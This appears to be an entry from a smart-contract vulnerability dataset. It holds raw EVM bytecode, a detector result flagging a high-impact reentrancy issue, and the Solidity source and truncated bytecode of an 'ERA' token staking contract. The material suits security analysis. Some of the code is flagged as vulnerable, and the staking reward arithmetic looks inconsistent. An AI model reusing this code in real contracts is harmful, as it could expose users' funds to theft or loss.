02052604090205460ff165b8061115857506015546001600160a01b0385811691161480159061115857506015546001600160a01b03848116911614155b15611165575060006111df565b6015546001600160a01b03858116911614801561119057506014546001600160a01b03848116911614155b156111a257600854600c55600954600d555b6015546001600160a01b0384811691161480156111cd57506014546001600160a01b03858116911614155b156111df57600a54600c55600b54600d555b610a6c8484848461146c565b6000818484111561120f5760405162461bcd60e51b81526004016106239190611a22565b50600061121c8486611cc8565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610694573d6000803e3d6000fd5b60006006548211156112c65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610623565b60006112d061149a565b90506112dc83826114bd565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132b5761132b611c69565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137f57600080fd5b505afa158015611393573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b79190611cdf565b816001815181106113ca576113ca611c69565b6001600160a01b0392831660209182029290920101526014546113f09130911684610b8b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611429908590600090869030904290600401611cfc565b600060405180830381600087803b15801561144357600080fd5b505af1158015611457573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611479576114796114ff565b61148484848461152d565b80610a6c57610a6c600e54600c55600f54600d55565b60008060006114a7611624565b90925090506114b682826114bd565b9250505090565b60006112dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611664565b600c5415801561150f5750600d54155b1561151657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153f87611692565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157190876116ef565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a09086611731565b6001600160a01b0389166000908152600260205260409020556115c281611790565b6115cc84836117da565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163f82826114bd565b82101561165b57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116855760405162461bcd60e51b81526004016106239190611a22565b50600061121c8486611d6d565b60008060008060008060008060006116af8a600c54600d546117fe565b92509250925060006116bf61149a565b905060008060006116d28e878787611853565b919e509c509a509598509396509194505050505091939550919395565b60006112dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111eb565b60008061173e8385611cb0565b9050838110156112dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610623565b600061179a61149a565b905060006117a883836118a3565b306000908152600260205260409020549091506117c59082611731565b30600090815260026020526040902055505050565b6006546117e790836116ef565b6006556007546117f79082611731565b6007555050565b6000808080611818606461181289896118a3565b906114bd565b9050600061182b60646118128a896118a3565b905060006118438261183d8b866116ef565b906116ef565b9992985090965090945050505050565b600080808061186288866118a3565b9050600061187088876118a3565b9050600061187e88886118a3565b905060006118908261183d86866116ef565b939b939a50919850919650505050505050565b6000826118b2575060006106a9565b60006118be8385611d8f565b9050826118cb8583611d6d565b146112dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610623565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f357600080fd5b803561195881611938565b919050565b6000602080838503121561197057600080fd5b823567ffffffffffffffff8082111561198857600080fd5b818501915085601f83011261199c57600080fd5b8135818111156119ae576119ae611922565b8060051b604051601f19603f830116810181811085821117156119d3576119d3611922565b6040529182528482019250838101850191888311156119f157600080fd5b938501935b82851015611a1657611a078561194d565b845293850193928501926119f6565b98975050505050505050565b600060208083528351808285015260005b81811015611a4f57858101830151858201604001528201611a33565b81811115611a61576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8a57600080fd5b8235611a9581611938565b946020939093013593505050565b600080600060608486031215611ab857600080fd5b8335611ac381611938565b92506020840135611ad381611938565b929592945050506040919091013590565b600060208284031215611af657600080fd5b81356112dc81611938565b8035801515811461195857600080fd5b600060208284031215611b2357600080fd5b6112dc82611b01565b600060208284031215611b3e57600080fd5b5035919050565b60008060008060808587031215611b5b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8c57600080fd5b833567ffffffffffffffff80821115611ba457600080fd5b818601915086601f830112611bb857600080fd5b813581811115611bc757600080fd5b8760208260051b8501011115611bdc57600080fd5b602092830195509350611bf29186019050611b01565b90509250925092565b60008060408385031215611c0e57600080fd5b8235611c1981611938565b91506020830135611c2981611938565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca957611ca9611c7f565b5060010190565b60008219821115611cc357611cc3611c7f565b500190565b600082821015611cda57611cda611c7f565b500390565b600060208284031215611cf157600080fd5b81516112dc81611938565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4c5784516001600160a01b031683529383019391830191600101611d27565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da957611da9611c7f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f51b30a033d793eeebe6667ba1b0b9fe32c5b6cab5e74d899edf0f3785409c5e64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,009 |
0x84af7604ffd7800292bb657055ac20795aa7a1c1
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
// ----------------------------------------------------------------------------
// 'ERA' Staking smart contract
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// SafeMath library
// ----------------------------------------------------------------------------
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Stake is Owned {
using SafeMath for uint256;
address public ERA = 0x03542773fF03E6bFC17f70CB29c0B43115399a8b;
uint256 public totalStakes = 0;
uint256 stakingFee = 25; // 2.5%
uint256 unstakingFee = 25; // 2.5%
uint256 public totalDividends = 0;
uint256 private scaledRemainder = 0;
uint256 private scaling = uint256(10) ** 12;
uint public round = 1;
struct USER{
uint256 stakedTokens;
uint256 lastDividends;
uint256 fromTotalDividend;
uint round;
uint256 remainder;
}
mapping(address => USER) stakers;
mapping (uint => uint256) public payouts; // keeps record of each payout
event STAKED(address staker, uint256 tokens, uint256 stakingFee);
event UNSTAKED(address staker, uint256 tokens, uint256 unstakingFee);
event PAYOUT(uint256 round, uint256 tokens, address sender);
event CLAIMEDREWARD(address staker, uint256 reward);
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external {
require(IERC20(ERA).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account");
uint256 _stakingFee = 0;
if(totalStakes > 0)
_stakingFee= (onePercent(tokens).mul(stakingFee)).div(10);
if(totalStakes > 0)
// distribute the staking fee accumulated before updating the user's stake
_addPayout(_stakingFee);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedTokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.add(tokens.sub(_stakingFee));
emit STAKED(msg.sender, tokens.sub(_stakingFee), _stakingFee);
}
// ------------------------------------------------------------------------
// Owners can send the funds to be distributed to stakers using this function
// @param tokens number of tokens to distribute
// ------------------------------------------------------------------------
function ADDFUNDS(uint256 tokens) external {
require(IERC20(ERA).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account");
_addPayout(tokens);
}
// ------------------------------------------------------------------------
// Private function to register payouts
// ------------------------------------------------------------------------
function _addPayout(uint256 tokens) private{
// divide the funds among the currently staked tokens
// scale the deposit and add the previous remainder
uint256 available = (tokens.mul(scaling)).add(scaledRemainder);
uint256 dividendPerToken = available.div(totalStakes);
scaledRemainder = available.mod(totalStakes);
totalDividends = totalDividends.add(dividendPerToken);
payouts[round] = payouts[round-1].add(dividendPerToken);
emit PAYOUT(round, tokens, msg.sender);
round++;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function CLAIMREWARD() public {
if(totalDividends > stakers[msg.sender].fromTotalDividend){
uint256 owing = pendingReward(msg.sender);
owing = owing.add(stakers[msg.sender].remainder);
stakers[msg.sender].remainder = 0;
require(IERC20(ERA).transfer(msg.sender,owing), "ERROR: error in sending reward from contract");
emit CLAIMEDREWARD(msg.sender, owing);
stakers[msg.sender].lastDividends = owing; // unscaled
stakers[msg.sender].round = round; // update the round
stakers[msg.sender].fromTotalDividend = totalDividends; // scaled
}
}
// ------------------------------------------------------------------------
// Get the pending rewards of the staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function pendingReward(address staker) private returns (uint256) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
stakers[staker].remainder += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return amount;
}
function getPendingReward(address staker) public view returns(uint256 _pendingReward) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
amount += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return (amount + stakers[staker].remainder);
}
// ------------------------------------------------------------------------
// Stakers can un stake the staked tokens using this function
// @param tokens the number of tokens to withdraw
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external {
require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw");
uint256 _unstakingFee = (onePercent(tokens).mul(unstakingFee)).div(10);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
require(IERC20(ERA).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens");
stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.sub(tokens);
if(totalStakes > 0)
// distribute the un staking fee accumulated after updating the user's stake
_addPayout(_unstakingFee);
emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedERA(address staker) external view returns(uint256 stakedERA){
return stakers[staker].stakedTokens;
}
// ------------------------------------------------------------------------
// Get the ERA balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourERABalance(address user) external view returns(uint256 ERABalance){
return IERC20(ERA).balanceOf(user);
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063997664d71161008c578063bf9befb111610066578063bf9befb114610317578063ca84d59114610335578063f2fde38b14610363578063fbc37b09146103a7576100ea565b8063997664d714610281578063a2d966ea1461029f578063b53d6c24146102e9576100ea565b80634baf782e116100c85780634baf782e1461017d5780634df9d6ba1461018757806379806dd0146101df5780638da5cb5b14610237576100ea565b8063146ca531146100ef57806329652e861461010d5780632c75bcda1461014f575b600080fd5b6100f76103ff565b6040518082815260200191505060405180910390f35b6101396004803603602081101561012357600080fd5b8101908080359060200190929190505050610405565b6040518082815260200191505060405180910390f35b61017b6004803603602081101561016557600080fd5b810190808035906020019092919050505061041d565b005b610185610908565b005b6101c96004803603602081101561019d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c81565b6040518082815260200191505060405180910390f35b610221600480360360208110156101f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e78565b6040518082815260200191505060405180910390f35b61023f610f5b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610289610f80565b6040518082815260200191505060405180910390f35b6102a7610f86565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610315600480360360208110156102ff57600080fd5b8101908080359060200190929190505050610fac565b005b61031f611125565b6040518082815260200191505060405180910390f35b6103616004803603602081101561034b57600080fd5b810190808035906020019092919050505061112b565b005b6103a56004803603602081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061158a565b005b6103e9600480360360208110156103bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611680565b6040518082815260200191505060405180910390f35b60085481565b600a6020528060005260406000206000915090505481565b80600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541015801561046f5750600081115b6104e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f496e76616c696420746f6b656e20616d6f756e7420746f20776974686472617781525060200191505060405180910390fd5b6000610513600a6105056004546104f7866116cc565b61172090919063ffffffff16565b6117a690919063ffffffff16565b90506000610520336117f0565b905080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008282540192505081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb336105c485876119ee90919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561062d57600080fd5b505af1158015610641573d6000803e3d6000fd5b505050506040513d602081101561065757600080fd5b81019080805190602001909291905050506106da576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4572726f7220696e20756e2d7374616b696e6720746f6b656e7300000000000081525060200191505060405180910390fd5b61072f83600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546119ee90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600554600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550600854600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550610863836002546119ee90919063ffffffff16565b6002819055506000600254111561087e5761087d82611a38565b5b7faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc99e1b3d9fa2336108b384866119ee90919063ffffffff16565b84604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546005541115610c7f57600061095f336117f0565b90506109b6600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004015482611b8490919063ffffffff16565b90506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040181905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610aa957600080fd5b505af1158015610abd573d6000803e3d6000fd5b505050506040513d6020811015610ad357600080fd5b8101908080519060200190929190505050610b39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611eb9602c913960400191505060405180910390fd5b7f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e3382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a180600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600854600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550600554600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550505b565b600080610d59600754610d4b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154610d3d600a60006001600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546119ee90919063ffffffff16565b61172090919063ffffffff16565b6117a690919063ffffffff16565b9050600754610e1f600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154610e11600a60006001600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546119ee90919063ffffffff16565b61172090919063ffffffff16565b81610e2657fe5b0681019050600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401548101915050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610f1957600080fd5b505afa158015610f2d573d6000803e3d6000fd5b505050506040513d6020811015610f4357600080fd5b81019080805190602001909291905050509050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561108957600080fd5b505af115801561109d573d6000803e3d6000fd5b505050506040513d60208110156110b357600080fd5b8101908080519060200190929190505050611119576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180611f346030913960400191505060405180910390fd5b61112281611a38565b50565b60025481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561120857600080fd5b505af115801561121c573d6000803e3d6000fd5b505050506040513d602081101561123257600080fd5b8101908080519060200190929190505050611298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180611f06602e913960400191505060405180910390fd5b6000809050600060025411156112db576112d8600a6112ca6003546112bc866116cc565b61172090919063ffffffff16565b6117a690919063ffffffff16565b90505b600060025411156112f0576112ef81611a38565b5b60006112fb336117f0565b905080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600082825401925050819055506113b4600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546113a684866119ee90919063ffffffff16565b611b8490919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600554600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550600854600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055506114fa6114e983856119ee90919063ffffffff16565b600254611b8490919063ffffffff16565b6002819055507f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c3361153584866119ee90919063ffffffff16565b84604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115e357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b6000806116e3606484611c0c90919063ffffffff16565b905060006117146002600a0a60640261170660648561172090919063ffffffff16565b6117a690919063ffffffff16565b90508092505050919050565b60008083141561173357600090506117a0565b600082840290508284828161174457fe5b041461179b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611ee56021913960400191505060405180910390fd5b809150505b92915050565b60006117e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c27565b905092915050565b6000806118c86007546118ba600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546118ac600a60006001600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546119ee90919063ffffffff16565b61172090919063ffffffff16565b6117a690919063ffffffff16565b905060075461198e600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611980600a60006001600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546119ee90919063ffffffff16565b61172090919063ffffffff16565b8161199557fe5b06600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016000828254019250508190555080915050919050565b6000611a3083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ced565b905092915050565b6000611a63600654611a556007548561172090919063ffffffff16565b611b8490919063ffffffff16565b90506000611a7c600254836117a690919063ffffffff16565b9050611a9360025483611dad90919063ffffffff16565b600681905550611aae81600554611b8490919063ffffffff16565b600581905550611adf81600a6000600160085403815260200190815260200160002054611b8490919063ffffffff16565b600a60006008548152602001908152602001600020819055507fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b66008548433604051808481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a1600860008154809291906001019190505550505050565b600080828401905083811015611c02576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000818260018486010381611c1d57fe5b0402905092915050565b60008083118290611cd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c98578082015181840152602081019050611c7d565b50505050905090810190601f168015611cc55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611cdf57fe5b049050809150509392505050565b6000838311158290611d9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d5